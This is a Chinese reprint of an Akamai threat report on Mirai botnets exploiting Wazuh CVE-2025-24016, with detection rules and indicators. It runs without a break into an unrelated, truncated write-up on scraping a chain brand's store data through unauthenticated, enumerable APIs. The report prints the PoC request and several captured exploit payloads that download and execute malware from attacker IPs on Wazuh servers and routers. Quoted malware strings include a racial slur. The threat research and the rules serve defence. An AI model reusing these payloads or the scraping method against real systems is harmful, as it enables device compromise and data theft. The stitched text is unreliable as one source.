两大僵尸网络,一个漏洞:Mirai 利用 Wazuh 漏洞传播

两大僵尸网络,一个漏洞:Mirai 利用 Wazuh 漏洞传播

本文转自 Kyle Lefton 和 Daniel Messing 并作补充

本报告中的所有发现均来源于 SIRT 部署的蜜罐系统,我们并未在实际运行 Wazuh 软件的 Wazuh 生产端点中观察到相同事件。

内容警告:本文使用的一些命名约定来源于攻击者,包含种族辱骂用语和粗俗表达。出于教学和探索目的,我们并未删除或隐藏这类命名。这类用语绝不代表 Akamai 的价值观或观点。

内容提要

  • Akamai 安全情报响应团队 (SIRT) 发现了针对关键远程代码执行 (RCE) 漏洞 CVE-2025-24016 (CVSS 9.9) 的主动利用行为,该漏洞以 Wazuh 服务器为攻击目标。
  • 该漏洞利用去中心化 API (DAPI) 请求,允许攻击者上传未净化的字典来远程执行代码。
  • 我们观察到了 Mirai 变种利用该漏洞的两次攻击活动。其中一个变种名叫“Resbot”,它在域中采用了意大利命名法,可能暗示了目标设备的所有者是哪类人,比如是居住在意大利的人,或者是使用意大利语的人。
  • 2025 年 3 月,Akamai SIRT 团队首次在我们的全球蜜罐网络中发现此类攻击活动。这是自 2025 年 2 月该漏洞首次曝光以来,攻击者主动利用该漏洞的首次报告案例。
  • 利用该漏洞的僵尸网络同时还利用了数个已知漏洞,包括 CVE-2023-1389、CVE-2017-17215、CVE-2017-18368 和其它漏洞。
  • 为帮助抵御此威胁,我们在本博文末尾提供了相关的入侵指标 (IOC) 列表。

跳转到 IOC

前言

2025 年 3 月下旬,Akamai SIRT 团队在我们的网络蜜罐集群中观察到了主动利用 CVE-2025-24016 漏洞的攻击企图。SIRT 团队发现,共有两个不同的僵尸网络利用该漏洞,将 Mirai 恶意软件的变种传播到存在漏洞的目标系统中。

什么是 CVE-2025-24016?

2025 年 2 月,在集成 XDR 和 SIEM 功能的开源解决方案 Wazuh 的管理器程序包中,首次曝光了 CVE-2025-24016 漏洞。该漏洞会影响 Wazuh 4.4.0 到 4.9.0 的所有版本,目前 4.9.1 版本已发布,包含该漏洞的修复补丁。该漏洞允许具有 API 权限的远程攻击者使用恶意构造的 JSON 文件,在目标服务器上执行任意代码。

在 Wazuh API 中,系统首先将 DistributedAPI 中的参数序列化为 JSON 格式,然后再使用 framework/wazuh/core/cluster/common.py 文件中的 as_Wazuh_object 将这些参数反序列化。攻击者可以向 DAPI 请求中注入未净化的字典来利用该漏洞,以此解析和执行任意的 Python 代码。

2025 年 2 月下旬,一份概念验证 (PoC) 文档详细说明了如何利用该漏洞实现远程代码执行 (RCE)。攻击者先控制 auth_context 的参数,再使用 run_as 接口端点触发远程代码执行 (RCE)。在这份 PoC 文档中,作者针对 URI /security/user/authenticate/run_as,使用 Burp Suite 请求演示了攻击过程(见图 1)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg== # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83

{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}

图 1:Burp Suite 请求(资料来源:https://github.com/MuhammadWaseem29/CVE-2025-24016)

Authorization 标头字段采用 Base64 编码格式,恶意有效负载包含了未净化的异常 *unhandled_exc*,最终触发了任意 Python 代码的执行——在本场景中,触发了 exit 操作。

主动利用

时间来到 2025 年 3 月上旬,距离 Wazuh 漏洞曝光仅仅过去几周时间,Akamai SIRT 便发现,我们的全球蜜罐网络中有攻击者正试图利用该漏洞。僵尸网络运营者利用最新发布的常见漏洞和风险 (CVE) 发动攻击,速度越来越快,使得漏洞利用时间窗口期越来越短,这便是最新的例证。

Base64 编码格式的 Authorization 标头字段解码后的认证信息显示为 *wazuh-wui:MyS3cr37P450r.*-*,与 PoC 文档中的漏洞利用认证信息完全相同(图 2)。此处的接口端点和请求结构与 PoC 文档的漏洞利用信息相吻合,当然,本案例中的攻击者仅使用该漏洞传播恶意软件。

1
2
3
/security/user/authenticate/run_as {"__unhandled_exc__":{"__args__":["wget http://176.65.134[.]62/w.sh -O /tmp/temp_script.sh || curl -o /tmp/temp_script.sh http://176.65.134[.]62/w.sh; sh /tmp/temp_script.sh"],"__class__":"os.system"}}

Header Authorization: Basic d2F6dWgtd3VpOk15UzNjcjM3UDQ1MHIuKi0=

图 2:漏洞利用企图 1 和 PoC 文档的信息完全相同

另外,2025 年 5 月上旬,我们还检测到了针对 /Wazuh 接口端点的请求,该请求的结构虽然与文档记录的信息相似,但在该漏洞针对的标准接口端点处仍有差异。(图 3)。由于该请求与 PoC 文档记录的请求几乎完全相同,只在接口端点处不同,因此这很可能是上述僵尸网络仍然在尝试利用相同的 Wazuh 漏洞发起攻击。

1
2
3
/wazuh {"__unhandled_exc__": {"__class__": "os.system", "__args__": ["wget http://104.168.101[.]27/sh -O- | sh"]}}

Header Authorization: Basic d2F6dWgtd3VpOk15UzNjcjM3UDQ1MHIuKi0=

图 3:漏洞利用企图 2 和 PoC 文档的信息仍有差异

僵尸网络 1:多种 Mirai 变体

根据我们的观察,本次主动利用 Wazuh 漏洞事件与两大僵尸网络有关。第一个僵尸网络与 2025 年 3 月上旬的第一轮攻击企图相关,在这轮攻击中,攻击者利用漏洞获取并执行一个恶意 Shell 脚本作为下载器,再将下载器作为主要的 Mirai 恶意软件有效负载(图 4)。与常见的 Mirai 相关 Shell 脚本类似,该脚本兼容各类不同的架构,主要以物联网 (IoT) 设备为攻击目标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"busybox wget http://176.65.134[.]62/bins/morte.arm; chmod 777 morte.arm; ./morte.arm morte.arm",
"busybox wget http://176.65.134[.]62/bins/morte.arm5; chmod 777 morte.arm5; ./morte.arm5 morte.arm5",
"busybox wget http://176.65.134[.]62/bins/morte.arm6; chmod 777 morte.arm6; ./morte.arm6 morte.arm6",
"busybox wget http://176.65.134[.]62/bins/morte.arm7; chmod 777 morte.arm7; ./morte.arm7 morte.arm7",
"busybox wget http://176.65.134[.]62/bins/morte.i686; chmod 777 morte.i686; ./morte.i686 morte.i686",
"busybox wget http://176.65.134[.]62/bins/morte.m68k; chmod 777 morte.m68k; ./morte.m68k morte.m68k",
"busybox wget http://176.65.134[.]62/bins/morte.mips; chmod 777 morte.mips; ./morte.mips morte.mips",
"busybox wget http://176.65.134[.]62/bins/morte.mpsl; chmod 777 morte.mpsl; ./morte.mpsl morte.mpsl",
"busybox wget http://176.65.134[.]62/bins/morte.ppc; chmod 777 morte.ppc; ./morte.ppc morte.ppc",
"busybox wget http://176.65.134[.]62/bins/morte.sh4; chmod 777 morte.sh4; ./morte.sh4 morte.sh4",
"busybox wget http://176.65.134[.]62/bins/morte.spc; chmod 777 morte.spc; ./morte.spc morte.spc",
"busybox wget http://176.65.134[.]62/bins/morte.x86; chmod 777 morte.x86; ./morte.x86 morte.x86",
"busybox wget http://176.65.134[.]62/bins/morte.x64; chmod 777 morte.x64; ./morte.x64 morte.x64",
"rm $0"

代码示例 4:w.sh Shell 脚本内容

这些 Mirai 恶意软件样本被命名为“morte”,似乎是 LZRD Mirai 变体,但它们并不是新面孔,而是已经存在一段时间了。这些恶意软件很容易识别,因为它们在目标设备上执行时,会在设备的控制台输出如下的硬编码特殊字符串:“lzrd here”。

观察到的相关域名

经过对 IP 地址 176.65.134[.]62 调查研究,我们发现该地址反向解析到了 nuklearcnc.duckdns[.]org 的命令和控制 (C2) 域名。请注意,我们有必要指出,Duck DNS 是一家动态 DNS 服务商,只有此处的子域名是恶意域名。

在相近的时间段内,该域名还解析到了 176.65.142.252 这个 IP 地址。该 IP 地址反向解析到了另一个 cbot.galaxias[.]cc 的 C2 域名。根据 VirusTotal 的分析,我们可以发现一个疑似针对 Windows 系统的远程访问木马 (RAT),该木马伪装成 Windows svchost 进程,定期向 cbot.galaxias[.]cc 子域名发送“心跳信号”,以达到命令与控制 (C2) 目的。

另一个子域名 neon.galaxias[.]cc 似乎存在 Mirai 常规变种的相关分发和通信行为。该子域名解析出来的 IP 地址 209.141.34[.]106,也反向解析到了另外两个 C2 域名:pangacnc[.]com 和 jimmyudp-raw[.]xyz。

根据 VirusTotal 的记录,jimmyudp-raw[.]xyz 域名共有三个不同名称的 Mirai 恶意软件样本。第一个样本名为“neon”,是一种未识别的 Mirai 变种,通过端口 80 连接到 65.222.202[.]53,实现 C2 通信,而且会在控制台输出硬编码字符串“fuck u nigga”。

第二个样本名为“k03ldc”,似乎是 V3G4 Mirai 变体的修改版或升级版。该样本会在控制台输出硬编码字符串“666V3G4-Katana999”,通过端口 36063 连接到 196.251.86[.]49,实现 C2 通信。

最后是名为“KKveTTgaAAsecNNaaaa”的第三个样本,它是 V3G4 Mirai 变体的原始版本。该版本的恶意软件通过端口 60195 连接到 209.141.34[.]106,实现 C2 通信,感染设备后会输出硬编码字符串“xXxSlicexXxxVEGA”。它会识别目标设备是否已经感染 V3G4 变体,如果确认感染,会输出“We got this shit already”,而不会输出上述的常规硬编码字符串。

根据 VirusTotal 的记录,pangacnc[.]com 域名共有两个不同名称的 Mirai 恶意软件样本,一个名为“KKveTTgaAAsecNNaaaa”,与上文提到的第三个样本完全相同。另一个名为“vision”,是一种 LZRD Mirai 变体,通过端口 80 连接到 65.222.202[.]53,类似于从其它 C2 域名获得的样本“neon”。这种相似,可能掲示出这个名为“neon”的 Mirai 恶意软件是 LZRD 变体的修改版。

其他被利用的漏洞

除了针对 Wazuh 的远程代码执行 (RCE),我们还观察到该僵尸网络正试图利用各类其它已知漏洞发起攻击。被利用的漏洞包括我们已经观察到的数个漏洞(见图 5、6、7),这些漏洞已经在往期博文中详细说明。

1
/ws/v1/cluster/apps {"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://176.65.134[.]62/bins/morte.x64; chmod 777 morte.x64; ./morte.x64 morte.x86_64; rm -rf morte.x64; curl -O http://176.65.134[.]62/bins/morte.x64; chmod 777 morte.x64; ./morte.x64 morte.x86_64; rm -rf morte.x64"}}, "application-

图 5:Hadoop YARN 漏洞

1
/cgi-bin/luci/;stok=/locale?form=country operation=write&country=$(id>cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://176.65.134[.]62/update.sh; curl -O http://176.65.134[.]62/update.sh; chmod 777 update.sh; sh update.sh; tftp 176.65.134[.]62 -c get tupdate.sh; chmod 777 tupdate.sh; sh tupdate.sh; tftp -r tupdate2.sh -g 176.65.134[.]62; chmod 777 tupdate2.sh; sh tupdate2.sh; ftpget -v -u anonymous -p anonymous -P 21 176.65.134[.]62 update1.sh update1.sh; sh update1.sh; rm -rf update.sh tupdate

图 6:TP-Link Archer AX21 命令注入(详见 https://nvd.nist.gov/vuln/detail/cve-2023-1389)

1
/manager_dev_ping_t.gch cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209.141.34[.]106/1.sh; curl -O http://209.141.34[.]106/1.sh; chmod 777 1.sh; sh 1.sh; tftp 209.141.34[.]106 -c get 1.sh; chmod 777 1.sh; sh 1.sh; tftp -r 3.sh -g 209.141.34[.]106; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 209.141.34[.]106 2.sh 2.sh; sh 2.sh; rm -rf 1.sh 1.sh 3

图 7:中兴 ZXV10 H108L 路由器 RCE 漏洞利用(详见 https://github.com/stasinopoulos/ZTExploit/blob/master/ZTExploit_Source/ztexploit.py)

僵尸网络 2:Resbot/Resentual 僵尸网络

我们发现的第二个僵尸网络来源于 2025 年 5 月上旬,攻击者尝试利用 /Wazuh 接口端点发起的攻击。与上述第一个僵尸网络相似,攻击者同样会获取并执行一个恶意的 Shell 脚本作为 Mirai 下载器。该恶意软件命名为“resgod”,可通过其硬编码控制台字符串“Resentual got you!”进行识别。该僵尸网络与上述第一个僵尸网络还有一点相似,它的有效负载兼容各类架构,而且以物联网 (IoT) 设备为攻击目标。

我们注意到,该僵尸网络与特定语言联系紧密,这个现象很有意思。它传播恶意软件的各类域名都采用了意大利命名法。例如,类似“gestisciweb.com”的域名可以粗略翻译为“管理网页/网站”。

这些域名与经常用于网络钓鱼攻击的恶意域名非常相似,看上去比它们的 C2 域名“resbot.online”更加合法,相比起来,它们的 C2 域名明显更像恶意域名。这种命名约定表明,这类攻击活动的特定目标是意大利语使用者持有或运营的设备。

恶意软件样本中的字符串未加密,暴露出该软件具有各类额外的扫描能力和漏洞利用能力。恶意软件中的 IP 地址 104.168.101[.]27 采用硬编码格式,通过 TCP 端口 62627 与 C2 服务器通信,该端口是潜在的 C2 端口之一。另外,我们还发现该僵尸网络正试图通过 FTP 服务器的端口 21 传播恶意软件并执行 Telnet 扫描。

这些硬编码漏洞利用之间的区别,请详见图 8、9、10、11。

1
2
3
4
5
6
7
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 440
Connection: keep-alive
Accept: */*
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp- org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101[.]27 -l /tmp/.kx -r /resgod.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL>. <NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL> </u:Upgrade>. </s:Body></s:Envelope>

图 8:华为 HG532 路由器 RCE(详见 https://nvd.nist.gov/vuln/detail/cve-2017-17215)

1
2
3
4
5
6
7
8
9
10
POST /picsdesc.xml HTTP/1.1
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept:
User-Agent: Hello-World
Connection: keep-alive

<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://104.168.101[.]27/resgod.mips; chmod 777 resgod.mips; ./resgod.mips selfrep.realtek</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

图 9:Realtek SDK Miniigd UPnP SOAP RCE(详见 https://www.google.com/url?q=https://nvd.nist.gov/vuln/detail/cve-2014-8361&sa=D&source=docs&ust=1748461205172738&usg=AOvVaw2FtzN61mQxXkxEWnb9gb05)

1
2
3
4
5
6
7
8
9
10
POST /cgi-bin/ViewLog.asp HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: r00ts3c-owned-you
Content-Length: 176
Content-Type: application/x-www-form-urlencoded

remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://104.168.101[.]27/resgod.arm7;chmod+777+resgodarm7;./resgodarm7;rm+-rf+resgod.arm7%3b%23&remoteSubmit=Save

图 10:TrueOnline ZyXEL P660HN-T v1 路由器命令注入(详见 https://nvd.nist.gov/vuln/detail/cve-2017-18368)

1
&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=$(echo -e "wget http://104.168.101[.]27/sh" >> /tmp/.res) HTTP/1.0

图 11:通过 FTP 传播

结论

目前 Mirai 的传播态势仍呈相对上升趋势,因为它的传播方式依然十分直接:重新调整并复用旧源代码,以此部署或新建僵尸网络。僵尸网络运营者往往只需要利用新曝光的漏洞,便能轻松完成攻击。

尽管 CVE 计划总体而言能造福行业,但有时候也是一把双刃剑,在曝光漏洞的同时,可能也会提醒恶意攻击者原来还有这些漏洞可供利用。

研究人员创建 PoC,本意是试图向企业普及重视漏洞的重要性,却不断导致不良后果,这恰恰表明,在漏洞补丁发布后及时安装补丁是多么迫切。僵尸网络运营者会密切关注一些漏洞曝光信息,尤其是在有 PoC 代码公开的情况下,这些运营者会迅速改写这些 PoC 代码,扩大运营的僵尸网络规模。

我们近期报告的漏洞只影响已停用设备,但 CVE-2025-24016 不一样,它会影响正在运行过时版本的活跃 Wazuh 服务器。我们强烈建议各企业安装包含了漏洞修复补丁的最新版本,在本文场景下,企业需安装 Wazuh 4.9.1 或更高版本。Wazuh 已发布正确保护系统安全的文档指南,如果企业遵循该指南,这类攻击活动将不足为虑。

关注新动态

Akamai SIRT 将继续监控此类威胁,并随时为我们的客户和整个安全社区报告相关情况。如需第一时间了解 SIRT 以及 Akamai 安全情报组发布的其他重要信息,请查看我们的研究首页并关注我们的社交媒体频道。

IOC

为了帮助企业有效防御威胁,我们提供了相关的入侵指标 (IoC) 列表以及 Snort 和 Yara 规则。

针对网络 IoC 的 Snort 规则

针对 C2 IP 的 Snort 规则(僵尸网络 1)

1
2
3
4
5
6
7
8
alert ip any any -> [209.141.34.106, 176.65.142.137, 65.222.202.53, 196.251.86.49, 176.65.134.62] any (
msg:"Possible Botnet C2 Infrastructure Activity - Suspicious IP";
sid:2000001;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)

针对 C2 域解析检测的 Snort 规则(僵尸网络 1)

1
2
3
4
5
6
alert http any any -> [nuklearcnc.duckdns.org, jimmyudp-raw.xyz, pangacnc.com, neon.galaxias.cc, cbot.galaxias.cc] any (
msg:"Possible Botnet C2 or Malware Distribution - Suspicious Domain";
sid:2000002; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)

针对 C2 IP 的 Snort 规则(僵尸网络 2)

1
2
3
4
5
6
7
8
alert ip any any -> [104.168.101.27, 104.168.101.23, 79.124.40.46, 194.195.90.179] any (
msg:"Possible Botnet C2 Infrastructure Activity - Suspicious IP";
sid:2000003;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)

针对 C2 域解析检测的 Snort 规则(僵尸网络 2)

1
2
3
4
5
6
alert http any any -> [resbot.online, versioneonline.com, web-app-on.com, assicurati-con-linear.online, webdiskwebdisk.webprocediweb.com, continueoraweb.com, ora-0-web.com, adesso-online.com, multi-canale.com, eversioneweb.com, gestisciweb.com] any (
msg:"Possible Botnet C2 or Malware Distribution - Suspicious Domain";
sid:2000004; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)

针对恶意软件样本的 Yara 规则(僵尸网络 1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
rule Mirai_Malware_IOCs_1
{
meta:
description = "Detects files containing IOCs associated with potential Mirai malware"
author = "Akamai SIRT"
date = "2025-05-16"
source = "Akamai SIRT"
malware_family = "Mirai"
version = "1.0"

strings:
$lzrd = "LZRD"
$fucku = "fuck u nigga"
$vega = "xXxSlicexXxxVEGA"
$we_got_this = "We got this shit already"
$katana = "666V3G4-Katana999"

$ip1 = "209.141.34.106"
$ip2 = "176.65.142.137"
$ip3 = "65.222.202.53"
$ip4 = "196.251.86.49"
$ip5 = “176.65.134.62”

$domain1 = "nuklearcnc.duckdns.org"
$domain2 = "jimmyudp-raw.xyz"
$domain3 = "pangacnc.com"
$domain4 = "neon.galaxias.cc"
$domain5 = "cbot.galaxias.cc"

$hash1 = "dece5eaeb26d0ca7cea015448a809ab687e96c6182e56746da9ae4a2b16edaa9"
$hash2 = "7b659210c509058bd5649881f18b21b645acb42f56384cbd6dcb8d16e5aa0549"
$hash3 = "64bd7003f58ac501c7c97f24778a0b8f412481776ab4e6d0e4eb692b08f52b0f"
$hash4 = "4c1e54067911aeb5aa8d1b747f35fdcdfdf4837cad60331e58a7bbb849ca9eed"
$hash5 = "811cd6ebeb9e2b7438ad9d7c382db13c1c04b7d520495261093af51797f5d4cc"
$hash6 = "90df78db1fb5aea6e21c3daca79cc690900ef8a779de61d5b3c0db030f4b4353"
$hash7 = "8a58fa790fc3054c5a13f1e4e1fcb0e1167dbfb5e889b7c543d3cdd9495e9ad6"
$hash8 = "c9df0a2f377ffab37ede8f2b12a776a7ae40fa8a6b4724d5c1898e8e865cfea1"
$hash9 = "6614545eec64c207a6cc981fccae8077eac33a79f286fc9a92582f78e2ae243a"

condition:
(
$lzrd or
$fucku or
$vega or
$we_got_this or
$katana or
$ip1 or
$ip2 or
$ip3 or
$ip4 or
$ip5 or
$domain1 or
$domain2 or
$domain3 or
$domain4 or
$domain5 or
$hash1 or
$hash2 or
$hash3 or
$hash4 or
$hash5 or
$hash6 or
$hash7 or
$hash8 or
$hash9
)
}

针对恶意软件样本的 Yara 规则(僵尸网络 2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
rule Mirai_Malware_IOCs_2
{
meta:
description = "Detects files containing IOCs associated with potential Mirai malware."
author = "Akamai SIRT"
date = "2025-05-16"
source = "Akamai SIRT"
malware_family = "Mirai"
version = "1.0"

strings:
$resentual = "Resentual got you"
$ip1 = "104.168.101.27"
$ip2 = "104.168.101.23"
$ip3 = "79.124.40.46"
$ip4 = "194.195.90.179"

$domain1 = "resbot.online"
$domain2 = "versioneonline.com"
$domain3 = "web-app-on.com"
$domain4 = "Assicurati-con-linear.online"
$domain5 = "webdiskwebdisk.webprocediweb.com"
$domain6 = "continueoraweb.com"
$domain7 = "ora-0-web.com"
$domain8 = "adesso-online.com"
$domain9 = "multi-canale.com"
$domain10 = "eversioneweb.com"
$domain11 = "gestisciweb.com"

$hash1 = "9d5c10c7d0d5e2ce8bb7f1d4526439ce59108b2c631dd9e78df4e096e612837b"
$hash2 = "be4070b79a2f956e686469b37a8db1e7e090b9061d3dce73e3733db2dbe004f0"
$hash3 = "e6cf946bd5a17909ae3ed9b1362cfaafa7afe02e74699dcbc3d515a6f964b0b0"
$hash4 = "4d9f632e977b16466b72b6ee90b6de768c720148c1e337709b57ca49c1cdffb6"
$hash5 = "a0b47c781e70877ad4e721ba49f64fc0bc469e38750f070a232d12f03d9990bc"
$hash6 = "941a30698db98f29919cba80e66717c25592697b1447f3e96825730229d97549"

condition:
(
$resentual or
$ip1 or
$ip2 or
$ip3 or
$ip4 or
$domain1 or
$domain2 or
$domain3 or
$domain4 or
$domain5 or
$domain6 or
$domain7 or
$domain8 or
$domain9 or
$domain10 or
$domain11 or
$hash1 or
$hash2 or
$hash3 or
$hash4 or
$hash5 or
$hash6
)
}

恶意 IPv4 地址(僵尸网络 1)

209.141.34.106

176.65.142.137

65.222.202.53

196.251.86.49

176.65.134.62

恶意域名(僵尸网络 1)

nuklearcnc.duckdns[.]org

jimmyudp-raw[.]xyz

pangacnc[.]com

neon.galaxias[.]cc

cbot.galaxias[.]cc

恶意 IPv4 地址(僵尸网络 2)

104.168.101.27

104.168.101.23

79.124.40.46

194.195.90.179

恶意域名(僵尸网络 2)

resbot[.]online

versioneonline[.]com

web-app-on[.]com

Assicurati-con-linear[.]online

webdiskwebdisk.webprocediweb[.]com

continueoraweb[.]com

ora-0-web[.]com

adesso-online[.]com

multi-canale[.]com

eversioneweb[.]com

gestisciweb[.]com

SHA256 哈希值(僵尸网络 1)

1
2
3
4
5
6
7
8
9
dece5eaeb26d0ca7cea015448a809ab687e96c6182e56746da9ae4a2b16edaa9
7b659210c509058bd5649881f18b21b645acb42f56384cbd6dcb8d16e5aa0549
64bd7003f58ac501c7c97f24778a0b8f412481776ab4e6d0e4eb692b08f52b0f
4c1e54067911aeb5aa8d1b747f35fdcdfdf4837cad60331e58a7bbb849ca9eed
811cd6ebeb9e2b7438ad9d7c382db13c1c04b7d520495261093af51797f5d4cc
90df78db1fb5aea6e21c3daca79cc690900ef8a779de61d5b3c0db030f4b4353
8a58fa790fc3054c5a13f1e4e1fcb0e1167dbfb5e889b7c543d3cdd9495e9ad6
c9df0a2f377ffab37ede8f2b12a776a7ae40fa8a6b4724d5c1898e8e865cfea1
6614545eec64c207a6cc981fccae8077eac33a79f286fc9a92582f78e2ae243a

SHA256 哈希值(僵尸网络 2)

1
2
3
4
5
6
9d5c10c7d0d5e2ce8bb7f1d4526439ce59108b2c631dd9e78df4e096e612837b
be4070b79a2f956e686469b37a8db1e7e090b9061d3dce73e3733db2dbe004f0
e6cf946bd5a17909ae3ed9b1362cfaafa7afe02e74699dcbc3d515a6f964b0b0
4d9f632e977b16466b72b6ee90b6de768c720148c1e337709b57ca49c1cdffb6
a0b47c781e70877ad4e721ba49f64fc0bc469e38750f070a232d12f03d9990bc
941a30698db98f29919cba80e66717c25592697b1447f3e96825730229d97549

查看更多 Mirai 相关信息

某连锁品牌的敏感信息爬取泄露

某连锁品牌的敏感信息爬取泄露

image

写在前面

以下都是情节模拟,并非具体情况,请细加甄别

不用我说这个某连锁品牌你也应该知道是什么情况,DDD,只能说得很简略了

image

我得到的指示是,看看是否有什么地方,能够获取到所有门店的规模,具体地址,营业状态,以及是否有什么商业信息的暴露等

事前踩点

ok,先看看他们的 APP 吧,每个门店的信息都会有一个页面展示,门店头图会展示门店的营业状态,然后在门店详情页的详情页里会展示营业职照,还是没水印的加盟商执照?!

好的,那我现在只要看看他们的这部分信息是从那个接口调用返回的,再看看门店id这种字段是不是递增可遍历的就好

然后我就发现了,不仅门店id是递增可遍历的,还有接口主动返回所有门店概况,还有接口可以直接传路径得到门店所属企业及其他敏感信息!

这还是个没有加固没做任何限制请求都是 GET 请求的 APP,我哭死!

image

相关请求

获取所有门店列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
GET /xxx/xxxx/x/public/stadiumList HTTP/2
Host: api.xxxxx.com
Cookie: acw_tc=0xxxx9(无意义)
Phone: 1xxxxxxxxx1(无意义)
Accept: */*
User-Id: xxxxx5
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Html5Plus/1.0 (Immersed/20) uni-app
Accept-Language: zh-CN,zh-Hans;q=0.9

HTTP/2 200 OK
Date: xxx, xx Oct 2025 06:04:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 75961
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization, Token
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Server: R/1.0

[{"id":xxxx,"name":"1\uxxx9","ads":"\uxxxa","gps":"xxx.109246,xx.703893"},
{"id":xxxx,"name":"2\uxxx7","ads":"\uxxxa","gps":"xx.146952,xx.714365"},
......]

获取门店基础信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /xxx/xxxx/xxxx/public/getStadiumInfo HTTP/2
Host: api.xxxxx.com
Cookie: acw_tc=0xxxxx9(无意义)
Phone: 1xxxxxxxxx1(无意义)
Accept: */*
User-Id: xxxxx5
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Html5Plus/1.0 (Immersed/20) uni-app
Accept-Language: zh-CN,zh-Hans;q=0.9

HTTP/2 200 OK
Date: xxx, xx Oct 2025 06:04:06 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 1611
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization, Token
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Server: R/1.0

{"id":xxxx,"brand_id":xxxx,"name":"505\uxxx7","pic":"https:\/\/src-alpha.oss-cn-hangzhou.aliyuncs.com\/xxx\/xxx\/xxxx\/xxxx\/0xxxxxxxxxc","province":"\uxxx1","city":"\uxxx2","county":"\uxxxa","address":"\uxxxe","tel":"4xxxxxxxx2","business_hours":"09:00-22:00","longitude":xxx.175879,"latitude":xx.32727,"intro":null,"aerobics_count":0,"wx_url":null,"area":0,"unmanned":1,"guide":"","plan":"","exxxxxxx_info":"{\"\uxxx0\":[],\"\uxxx0\":[],\"\uxxx0\":[]}","service_info":"[{\"id\":1,\"name\":\"\uxxx6\"},{\"id\":2,\"name\":\"\uxxxd\"},{\"id\":3,\"name\":\"\uxxxa\"},{\"id\":4,\"name\":\"\uxxxa\"},{\"id\":5,\"name\":\"\uxxxa\"}]","fxxxxx_info":"[{\"id\":1,\"name\":\"\uxxx4\"},{\"id\":2,\"name\":\"\uxxx4\"},{\"id\":3,\"name\":\"\uxxxc\"},{\"id